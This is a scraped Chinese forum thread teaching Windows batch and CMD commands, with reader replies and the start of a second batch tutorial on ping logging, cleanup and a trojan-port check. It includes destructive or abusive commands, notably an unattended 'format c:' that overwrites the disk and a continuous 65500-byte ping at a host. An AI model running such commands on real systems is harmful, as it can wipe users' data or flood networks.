> 清除文件中原有的内容后再写入>> 追加内容到文件末尾，而不会清除原有的内容主要将本来显示在屏幕上的内容输出

到指定文件中指定文件如果不存在，则自动生成该文件
echo hello world>c:\test.txt生成c:\test.txt文件，内容为hello world这个格式在批处理文件里用得很多，可以生成

.reg .bat .vbs 等临时文件
type c:\test.txt >prn屏幕上不显示文件内容，转向输出到打印机
echo hello world>con在屏幕上显示hello world，实际上所有输出都是默认 >con 的
copy c:\test.txt f: >nul拷贝文件，并且不显示"文件复制成功"的提示信息，但如果f盘不存在，还是会显示出错信息
copy c:\test.txt f: >nul 2>nul不显示"文件复制成功"的提示信息，并且f盘不存在的话，也不显示错误提示信息
echo ^^W ^> ^W>c:\test.txt生成的文件内容为 ^W > W^ 和 > 是控制命令，要把它们输出到文件，必须在前面加个 ^

符号
27 <从文件中获得输入信息，而不是从屏幕上
一般用于 date time label 等需要等待输入的命令
@echo offecho 2005-05-01>temp.txtdate <temp.txtdel temp.txt这样就可以不等待输入直接修改当前日期

28.
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*命令行传递给批处理的参数
%0 批处理文件本身%1 第一个参数%9 第九个参数%* 从第一个参数开始的所有参数在C盘根目录新建test.bat，内容如下：
  1. @echo off

  2. echo %0

  3. echo %1

  4. echo %2

  5. echo %*
复制代码
运行cmd，输入 c:\test.bat "/a" /b /c /d可以看出每个参数的含意
修改test.bat内容如下
  1. @echo off

  2. echo %1

  3. echo %~1

  4. echo %0

  5. echo %~f0

  6. echo %~d0

  7. echo %~p0

  8. echo %~n0

  9. echo %~x0

  10. echo %~s0

  11. echo %~a0

  12. echo %~t0

  13. echo %~z0
复制代码
再运行cmd，输入 c:\test.bat "/a" /b /c /d可以参照 call/? 或 for/? 看出每个参数的含意注意这里可以对文件进行日期比较和大小比较
  1. echo load "%%1" "%%2">c:\test.txt
复制代码
生成的文件内容为 load "%1" "%2"
批处理文件里，用这个格式把命令行参数输出到文件

31 set设置变量
引用变量可在变量名前后加 % ，即 %变量名%
set #显示目前所有可用的变量，包括系统变量和自定义的变量
echo %SystemDrive% #显示系统盘盘符。系统变量可以直接引用
set p #显示所有以p开头的变量，要是一个也没有就设errorlevel=1
set p=aa1bb1aa2bb2 #设置变量p，并赋值为 = 后面的字符串，即aa1bb1aa2bb2
echo %p% #显示变量p代表的字符串，即aa1bb1aa2bb2
echo %p:~6% #显示变量p中第6个字符以后的所有字符，即aa2bb2
echo %p:~6,3% #显示第6个字符以后的3个字符，即aa2
echo %p:~0,3% #显示前3个字符，即aa1
echo %p:~-2% #显示最后面的2个字符，即b2
echo %p:~0,-2% #显示除了最后2个字符以外的其它字符，即aa1bb1aa2b
echo %p:aa=c% #用c替换变量p中所有的aa，即显示c1bb1c2bb2
echo %p:aa=% #将变量p中的所有aa字符串置换为空，即显示1bb12bb2
echo %p:*bb=c% #第一个bb及其之前的所有字符被替换为c，即显示c1aa2bb2
set p=%p:*bb=c% #设置变量p，赋值为 %p:*bb=c% ，即c1aa2bb2
set /a p=39 #设置p为数值型变量，值为39
set /a p=39/10 #支持运算符，有小数时用去尾法，39/10=3.9，去尾得3，p=3set /a p=p/10 #用 /a

参数时，在 = 后面的变量可以不加%直接引用set /a p="1&0" #"与"运算，要加引号。其它支持的运算符参见

set/?
set p= #取消p变量
set /p p=请输入屏幕上显示"请输入"，并会将输入的字符串赋值给变量p注意这条可以用来取代 choice 命令
注意变量在 if 和 for 的复合语句里是一次性全部替换的，如
@echo off
set p=aaa
if %p%==aaa (
echo %p%
set p=bbb
echo %p% )
结果将显示aaaaaa因为在读取 if 语句时已经将所有 %p% 替换为aaa这里的"替换"，在 /? 帮助里就是指"扩充"、"环境

变量扩充"可以启用"延缓环境变量扩充"，用 ! 来引用变量，即 !变量名!
@echo off
SETLOCAL ENABLEDELAYEDEXPANSION
set p=aaaif %p%==aaa (
echo %p%
set p=bbb
echo !p! )
ENDLOCAL
结果将显示aaabbb
还有几个动态变量，运行 set 看不到
%CD% #代表当前目录的字符串
%DATE% #当前日期
%TIME% #当前时间
%RANDOM% #随机整数，介于0~32767
%ERRORLEVEL% #当前ERRORLEVEL 值
%CMDEXTVERSION% #当前命令处理器扩展名版本号
%CMDCMDLINE% #调用命令处理器的原始命令行可以用echo命令查看每个变量值，如 echo %time%注意 %time%

精确到毫秒，在批处理需要延时处理时可以用到

32 start批处理中调用外部程序的命令，否则等外部程序完成后才继续执行剩下的指令
start explorer d:\调用图形界面打开D盘
@echo offcd /d %~dp0regedit /s 劲舞团.regstart patcher.exe
不加 start 命令的话，"劲舞团"运行时，后面会有个黑乎乎的cmd窗口

33 call批处理中调用另外一个批处理的命令，否则剩下的批处理指令将不会被执行有时有的应用程序用start调用出错的

，也可以call调用

34 choice (外部命令)选择命令让用户输入一个字符，从而选择运行不同的命令，返回码errorlevel为1234……win98里

是choice.comwin2000pro里没有，可以从win98里拷过来win2003里是choice.exechoice /N /C y /T 5 /D y>nul延时5秒

下面是个 choice 语句的例子
@echo off
rem 以下在win2000pro运行通过，从win98里拷的chioce.com文件
choice /c:abc aaa,bbb,ccc
if errorlevel 3 goto ccc
if %errorlevel%==2 goto bbb
if errorlevel==1 goto aaa
rem 必须先判断数值高的返回码rem 可以看到 errorlevel 值的判断有3种写法，有时某种写法不好用，可以用另外的写法
rem 直接运行

chioce相当于运行
choice /c:yn:aaa
echo aaa
goto end
:bbb
echo bbb
goto end
:ccc
echo ccc
goto end
:end

35 assoc 和 ftype文件关联assoc 设置'文件扩展名'关联，关联到'文件类型'ftype 设置'文件类型'关联，关联到'执行程序和参数'当你双击一个.txt文件时，windows并不是根据.txt直接判断用 notepad.exe 打开而是先判断.txt属于 txtfile '文件类型'再调用 txtfile 关联的命令行 txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1可以在"文件夹选项"→"文件类型"里修改这2种关联
assoc #显示所有'文件扩展名'关联
assoc .txt #显示.txt代表的'文件类型'，结果显示 .txt=txtfile
assoc .doc #显示.doc代表的'文件类型'，结果显示 .doc=Word.Document.8
assoc .exe #显示.exe代表的'文件类型'，结果显示 .exe=exefile
ftype #显示所有'文件类型'关联
ftype exefile #显示exefile类型关联的命令行，结果显示 exefile="%1" %* assoc .txt=Word.Document.8设置.txt为word类型的文档，可以看到.txt文件的图标都变了
assoc .txt=txtfile恢复.txt的正确关联 ftype exefile="%1" %*恢复 exefile 的正确关联

如果该关联已经被破坏，可以运行 command.com ，再输入这条命令

36 pushd 和 popd切换当前目录
@echo off
c: & cd\ & md mp3 #在 C:\ 建立 mp3 文件夹
md d:\mp4 #在 D:\ 建立 mp4 文件夹
cd /d d:\mp4 #更改当前目录为 d:\mp4
pushd c:\mp3 #保存当前目录，并切换当前目录为 c:\mp3
popd #恢复当前目录为刚才保存的 d:\mp4一般用处不大，在当前目录名不确定时，会有点帮助

32 subst (外部命令)映射磁盘。
subst z: \\server\d #这样输入z:就可以访问\\server\d了
subst z: /d #取消该映射
subst #显示目前所有的映

38 xcopy (外部命令)文件拷贝
xcopy d:\mp3 e:\mp3 /s/e/i/y复制 d:\mp3 文件夹、所有子文件夹和文件到 e:\ ，覆盖已有文件加 /i 表示如果 e:\ 没有 mp3 文件夹就自动新建一个，否则会有询问

39 一些不常用的内部命令
>& 将一个句柄的输出写入到另一个句柄的输入中
<& 从一个句柄读取输入并将其写入到另一个句柄输出中shift 命令行传递给批处理的参数不止9个时，用以切换参数color 设置cmd窗口的显示颜色
pormpt 更改命令提示符号，默认都是 盘符:\路径\> ，如 c:\>

40 format (外部命令)格式化硬盘
format c: /q/u/autotest/q表示快速格式化，/autotest表示自动格式化，不需要按 Y 确认/u表示每字节用

F6 覆盖硬盘数据，使其不可用软件恢复format c: /c格式化C盘，并检测坏道

41 fdisk (外部命令)硬盘分区win2000不带

该命令win98里的fdisk不支持80G以上大硬盘，winme里的支持fdisk/mbr重建硬盘分区表，一般用于清除引导区病毒、还

原精灵注意使用该命令不能从硬盘启动，必须软驱或光驱启动后直接运行

42 ping (外部命令)
ping -l 65500 -t 192.168.1.200不停的向192.168.1.200计算机发送大小为65500byte的数据包
ping -n 10 127.0.0.1>nulping自己10次，可用于批处理延时10秒

43 SC (外部命令)服务控制命令
sc create aaa displayname= bbb start= auto binpath= "C:\WINDOWS\System32\alg.exe"创建服务，服务名称aaa，显示名称bbb，启动类型:自动可执行文件的路径"C:\WINDOWS\System32\alg.exe"
sc description aaa "ccc"更改aaa的描述为ccc
sc config aaa start= disabled binpath= "C:\WINDOWS\System32\svchost.exe -k netsvcs"更改aaa的启动类型:已禁用更改aaa的可执行文件的路径"C:\WINDOWS\System32\svchost.exe -k netsvcs"
sc config aaa start= demand displayname= ddd更改aaa的启动类型:手动更改aaa的显示名称ddd
sc start aaa启动aaa服务
sc stop aaa停止aaa服务
sc delete aaa删除aaa服务
收藏 分享
回复 引用

评分 报告

辉少
  • 发短消息
  • 加为好友

辉少 当前离线

UID
89
帖子
26
精华
0
积分
223
PB
223
技术
0
捐助
0
阅读权限
20
在线时间
109 小时
注册时间
2007-12-6
最后登录
2010-10-21

三级士官

帖子
26
积分
223
技术
0
捐助
0
注册时间
2007-12-6
2楼
发表于 2007-12-10 00:58 | 只看该作者
不懂呀
可以说得清楚一点吗？
回复 引用

评分 报告 TOP

ieutk
  • 发短消息
  • 加为好友

ieutk 当前离线

UID
100
帖子
150
精华
0
积分
954
PB
951
技术
1
捐助
0
阅读权限
254
在线时间
156 小时
注册时间
2007-12-9
最后登录
2015-12-1

荣誉版主

帖子
150
积分
954
技术
1
捐助
0
注册时间
2007-12-9
3楼
发表于 2007-12-10 01:40 | 只看该作者
哪里有不懂的可以提出来
回复 引用

评分 报告 TOP

wdmzjhk
  • 发短消息
  • 加为好友

wdmzjhk 当前离线

UID
702
帖子
2
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2008-3-1
最后登录
2008-10-9

二级士官

帖子
2
积分
168
技术
0
捐助
0
注册时间
2008-3-1
4楼
发表于 2008-3-1 19:08 | 只看该作者
看不懂啊，特别是for与%。没有搞懂是什么意思哦，能不能多举几个列子哦，将详细点。
回复 引用

评分 报告 TOP

ldbin
  • 发短消息
  • 加为好友

ldbin 当前离线

UID
1161
帖子
1
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
3 小时
注册时间
2008-3-18
最后登录
2008-4-22

二级士官

帖子
1
积分
168
技术
0
捐助
0
注册时间
2008-3-18
5楼
发表于 2008-3-22 14:08 | 只看该作者

好像有问题啊

怎么这个帖子看起来那么乱啊！
上次我看的时候还没这个问题的！
是不是网站出现问题啦
中间的空格和换行呢？怎么不见了？全是下边这样了！

说明：本文来自网络，由youxi01整理 阅读本文需要一定的dos基础概念，象：盘符、文件、目录(文件夹)、子目录、根目录、当前目录每个命令的完整说明请加 /? 参数参考微软的帮助文档可以看到，在 /? 帮助里，"命令扩展名"一词会经常出现"命令扩 展名"是指相对于win98的dos版本而言，每个命令新增的功能命令测试环境win2000proSP4win98的命令功能太少，就不作研究了 注：如果对某一命令还不是很熟悉，可以在命令行窗口下输入：命令名/?的方式来获得帮助。例如：对dir命令的应用不熟悉，可以在命令行窗口下输入： dir /? 1 echo 和 @回显控制命令 @ #关闭单行回显 echo off #从下一行开始关闭回显 @echo off #从本行开始关闭回显。一般批处理第一行都是这个 echo on #从下一行开始打开回显 echo #显示当前是 echo off 状态还是 echo on 状态 echo. #输出一个"回车换行"，一般就是指空白行 echo hello world #输出hello world "关闭回显"是指运行批处理文件时，不显示文件里的每条命令，只显示运行结果批处理开始和结束时，系统都会自动打开 回显 2 errorlevel程序返回码 echo %errorlevel%每个命令运行结束，可以用这个命令行格式查看返回码用于判断刚才的命令是否执行成功默认值为0， 一般命令执行出错会设 errorlevel 为1 3 dir显示目录中的文件和子目录列表 dir #显示当前目录中的文件和子目录 dir /a #显示当前目录中的文件和子目录，包括隐藏文件和系统文件 dir c: /a:d #显示 C 盘当前目录中的目录 dir c:\ /a:-d #显示 C 盘根目录中的文件dir d:\mp3 /b/p #逐屏显示 d:\mp3 目录里的文件，只显示文件 名，不显示时间和大小 dir *.exe /s显示当前目录和子目录里所有的.exe文件其中 * 是通配符，代表所有的文件名，还一个通配符 ? 代表一个 任意字母或汉字如 c*.* 代表以 c 开头的所有文件?.exe 代表所有文件名是一个字母的.exe文件如果指定的目录或文件 不存在，将返回 errorlevel 为1;每个文件夹的 dir 输出都会有2个子目录 . 和 ... 代表当前目录.. 代表当前目录的 上级目录 dir . #显示当前目录中的文件和子目录 dir .. #显示当前目录的上级目录中的文件和子目录其它参数可参考 dir /? 4 cd更改当
回复 引用

评分 报告 TOP

随风
  • 发短消息
  • 加为好友

随风 当前离线

UID
7
帖子
1759
精华
3
积分
5360
PB
5024
技术
42
捐助
210
阅读权限
254
在线时间
2362 小时
注册时间
2007-10-26
最后登录
2012-10-19

荣誉版主

帖子
1759
积分
5360
技术
42
捐助
210
注册时间
2007-10-26
6楼
发表于 2008-3-22 15:50 | 只看该作者

回复 22楼 的帖子

是的，这两天论坛的 批处理教学&资料 版块是出了点问题，无法正常显示换行。
正在处理当中。。。。。
技术问题请到论坛发帖求助！
回复 引用

评分 报告 TOP

dkfzz
  • 发短消息
  • 加为好友

dkfzz 当前离线

UID
2090
帖子
1
精华
0
积分
167
PB
167
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2008-4-20
最后登录
2009-12-13

二级士官

帖子
1
积分
167
技术
0
捐助
0
注册时间
2008-4-20
7楼
发表于 2008-4-26 16:44 | 只看该作者
谢谢楼主,如果有动画教程那就更完善了解
回复 引用

评分 报告 TOP

wjta
  • 发短消息
  • 加为好友

wjta 当前离线

UID
2120
帖子
28
精华
0
积分
197
PB
197
技术
0
捐助
0
阅读权限
20
在线时间
13 小时
注册时间
2008-4-21
最后登录
2008-5-4

二级士官

帖子
28
积分
197
技术
0
捐助
0
注册时间
2008-4-21
8楼
发表于 2008-4-26 19:43 | 只看该作者
CR(0D) 命令行结束符
Escape(1B) ANSI转义字符引导符
Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定符
+ COPY命令文件连接符
* ? 文件通配符
“” 字符串界定符
| 命令管道符
<> >> 文件重定向符
@ 命令行回显屏蔽符
/ 参数开关引导符
: 批处理标签引导符
% 批处理变量引导符
回复 引用

评分 报告 TOP

hq200078
  • 发短消息
  • 加为好友

hq200078 当前离线

UID
2610
帖子
3
精华
0
积分
171
PB
171
技术
0
捐助
0
阅读权限
20
在线时间
3 小时
注册时间
2008-5-18
最后登录
2008-5-21

二级士官

帖子
3
积分
171
技术
0
捐助
0
注册时间
2008-5-18
9楼
发表于 2008-5-19 09:31 | 只看该作者
如果把命令字与解说的字体颜色用改为不相同就好，便于我们这些新手查找
回复 引用

评分 报告 TOP

freshlin
  • 发短消息
  • 加为好友

freshlin 当前离线

UID
2822
帖子
7
精华
0
积分
180
PB
180
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2008-6-19
最后登录
2008-6-27

二级士官

帖子
7
积分
180
技术
0
捐助
0
注册时间
2008-6-19
10楼
发表于 2008-6-24 17:05 | 只看该作者

看到28时不太懂

offecho %1echo %~1echo %0echo %~f0echo %~d0echo %~p0echo %~n0echo %~x0echo %~s0echo %~a0echo %~t0echo %~z0

这一段之前不太明白，后来查了for /?，看了帮助文档才大概明白了意思。

谢谢了。这样带着问题去学习感觉好多了，要不都不知道如何下手。
回复 引用

评分 报告 TOP

mkl
  • 发短消息
  • 加为好友

mkl 当前离线

UID
3200
帖子
38
精华
0
积分
425
PB
425
技术
0
捐助
0
阅读权限
20
来自
安徽
在线时间
60 小时
注册时间
2008-7-30
最后登录
2011-7-21

六级士官

帖子
38
积分
425
技术
0
捐助
0
注册时间
2008-7-30
11楼
发表于 2008-8-19 18:54 | 只看该作者
%SystemDrive% 是什么意思以及像这样一类的 %SystemRoot% %userprofile% 呢？
回复 引用

评分 报告 TOP

lyf2008
  • 发短消息
  • 加为好友

lyf2008 当前离线

UID
5626
帖子
1
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
2 小时
注册时间
2008-10-16
最后登录
2008-10-23

二级士官

帖子
1
积分
168
技术
0
捐助
0
注册时间
2008-10-16
12楼
发表于 2008-10-21 20:25 | 只看该作者

这里我不明白

@echo offecho %1echo %~1echo %0echo %~f0echo %~d0echo %~p0echo %~n0echo %~x0echo %~s0echo %~a0echo %

~t0echo %~z0
再运行cmd，输入 c:\test.bat "/a" /b /c /d可以参照 call/? 或 for/? 看出每个参数的含意注意这里可以对文件进行
这里的~ 是啥意思，LZ帮忙解释下，小弟在此拜谢！
回复 引用

评分 报告 TOP

solitude
  • 发短消息
  • 加为好友

solitude 当前离线

UID
708
帖子
24
精华
0
积分
289
PB
289
技术
0
捐助
0
阅读权限
20
在线时间
13 小时
注册时间
2008-3-1
最后登录
2012-4-28

四级士官

帖子
24
积分
289
技术
0
捐助
0
注册时间
2008-3-1
13楼
发表于 2008-11-12 22:42 | 只看该作者
%CD% #代表当前目录的字符串
%DATE% #当前日期
%TIME% #当前时间
%RANDOM% #随机整数，介于0~32767
%ERRORLEVEL% #当前ERRORLEVEL 值
%CMDEXTVERSION% #当前命令处理器扩展名版本号
%CMDCMDLINE% #调用命令处理器的原始命令行可以用echo命令查看每个变量值，如 echo %time%注意 %time%

很多都不知道.特别是随即整数很有用!
回复 引用

评分 报告 TOP

syl0o0o
  • 发短消息
  • 加为好友

syl0o0o 当前离线

UID
9557
帖子
5
精华
0
积分
181
PB
181
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2009-2-16
最后登录
2009-3-6

二级士官

帖子
5
积分
181
技术
0
捐助
0
注册时间
2009-2-16
14楼
发表于 2009-2-17 20:47 | 只看该作者
能不能出一些题目来给我们这些新手做啊``新手做新手的题目```
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
15楼
发表于 2009-2-18 17:19 | 只看该作者

回复 68楼 的帖子

新手练功区有很多习题
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

1 2 3 4 5 6 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

  • BAT求助&讨论
批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:35, Processed in 0.108934 second(s), 8 queries, Gzip enabled.


批处理教程（建议耐心看完，必有收获）

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 批处理教程（建议耐心看完，必有收获）
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 5 6 7 8 9 10 下一页
返回列表 回复 发帖
youxi01
  • 发短消息
  • 加为好友

youxi01 当前离线

UID
2
帖子
962
精华
3
积分
2416
PB
2359
技术
29
捐助
0
阅读权限
254
在线时间
1346 小时
注册时间
2007-10-25
最后登录
2017-6-24

荣誉版主

帖子
962
积分
2416
技术
29
捐助
0
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2007-10-27 17:18 | 只看该作者

[转贴] 批处理教程（建议耐心看完，必有收获）

____________________________版主提醒____________________________

    为了避免影响技术讨论、提高看帖的舒适性，请大家不要在此帖下跟
无实质内容的口水帖,特别是纯顶、纯支持、纯感谢、路过之类的帖子，
管理人员将不定期清理此类回帖，请大家多参与讨论少灌水，与人方便，
终将给自己带来方便，谢谢合作。
________________________________________________________________

这是一篇技术教程，我会用很简单的文字表达清楚自己的意思，你要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。

先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟，当然就更不用说了；但我想总结出一个“比较合适的”，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”，那么我的目的就达到了----我就是要让你爱上它，我就这么拽，你能怎么着？？真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！

按照我的理解，批处理的本质，是一堆DOS命令按一定顺序排列而形成的集合。

OK,never claver and get to business（闲话少说言归正传）。批处理，也称为批处理脚本，英文译为BATCH，批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就ok了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是DOS。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句“闲话”：要学好批处理，DOS基础一定要牢！当然脑子灵活也是很重要的一方面。

例一、先给出一个最easy的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为name.bat然后执行（以后文中只给出代码，保存和执行方式类似）：

ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit

是不是都能看的懂？是不是很easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为a.txt的文件，它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器，从而远离“从服务器中转”那一痛苦的过程。这里>的意思，是把前面命令得到的东西放到后面所给的地方，>>的作用，和>的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个a.txt文件越来越大（想到如何搞破坏了？？）。By the way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器IP，是不是很爽？后面还将详细介绍。

例二、再给出一个已经过时的例子（a.bat）：

@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat

为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的QQ了（KAO，我的QQ还显示好友三围呢！！），所以它几乎用不上了。但曾经它的作用是不可小窥的：删除QQ的广告，让对话框干干净净。这里用的地址是QQ的默认安装地址，默认批处理文件名为a.bat，你当然可以根据情况自行修改。在这个脚本中使用了if命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执行后的DOS窗口，不按CTRL+C强行终止命令，它就一直监视是否有广告图片（QQ也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。

例三，使用批处理脚本查是否中冰河。脚本内容如下：

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

这里利用了netstat命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很easy的判断出来是否被人种了冰河。然这不是确定的，因为冰河默认的端口7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令&&和管道命令|，后面将详细介绍。

例四，借批处理自动清除系统垃圾，脚本如下：

@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*

将以上脚本内容保存到autoexec.bat里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS不支持长文件名，所以就出现了Tempor~1这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。

怎么样，看到这里，你对批处理脚本是不是已经有点兴趣了？是不是发现自己已经慢慢爱上了这个东东？别高兴的太早，爱不是一件简单的事，它也许能带给你快乐和幸福，当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话，I 服了 YOU！继续努力吧，也许到最后你不一定得到真爱（真的有这可能，爱过的人都知道），但你可以体会到整个爱的过程，就是如此。 酸、苦和辣，有没有甜天知道。

为什么会把批处理和爱情扯上关系？不是我无聊，也不是因为这样写有趣多少，原因有二：其一，批处理和爱情有很多相同的地方，有些地方我用“专业”的行话解释不清（我不怀疑自己的表达能力，而是事情本身就不好说清楚），说了=没说，但用地球人都知道的爱情一比喻（爱情是什么？我**怎么知道！！），没准你心里一下就亮堂了，事半功倍，何乐而不为？其二，我这段时间状态不是很好，感冒发烧头疼鼻塞，但主要还是感情上精神摧残，搞的人烦透了，借写教程之际感慨几句，大家就全当买狗皮膏药了，完全可以省略不看（也许还真有点效果----不至于让你看着看着就睡着了，把头磕了来找我报销医药费）。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。

看过第一章的朋友，一定对批处理有了初步的印象，知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗？其实很简单：思路要灵活！没有做不到的，只有想不到的。这和爱情就有点不同了，因为爱情的世界是两个人的世界，一厢情愿不叫爱情（补充：那叫单恋。废话！）而批处理却是一个人的天堂，你可以为所欲为，没有达不到的境界！

批处理看起来杂乱无章，但它的逻辑性之强，绝对不比其他程序语言（如汇编）低，如果你写的脚本是一堆乱麻，虽然每一行命令都正确，但从头执行到尾后，不一定得到你想要的结果，也许是一屏幕的Bad command or fail name。这又和爱情有了共同点：按步骤来经营，缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友，相信没有不肯定这句话的。我的爱情批处理，输出的结果不是Bad command or fail name，屏幕是这么显示的：‘你的爱情’不是内部或外部命令，也不是可运行的程序或批处理文件。然后就是光标不停闪动，等待这下一次错误的输入。

从这一章开始，将由浅入深的介绍批处理中常用的命令，很多常见DOS命令在批处理脚本中有这广泛的应用，它们是批处理脚本的BODY部分，但批处理比DOS更灵活多样，更具备自动化。要学好批处理，DOS一定要有比较扎实的基础。这里只讲述一些比较少用（相对来说）的DOS命令，常用命令如COPY、DIR等就不做介绍了（这些看似简单的命令实际复杂的很，我怕自己都说不清楚！）。

例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇编程序（MASM）的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很（只有经历过的朋友才懂得）。如何使这个过程变的简单呢？在我们搞汇编课程设计时，我“被逼”写了这个脚本，用起来很爽，呵呵。看看脚本内容：

@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage

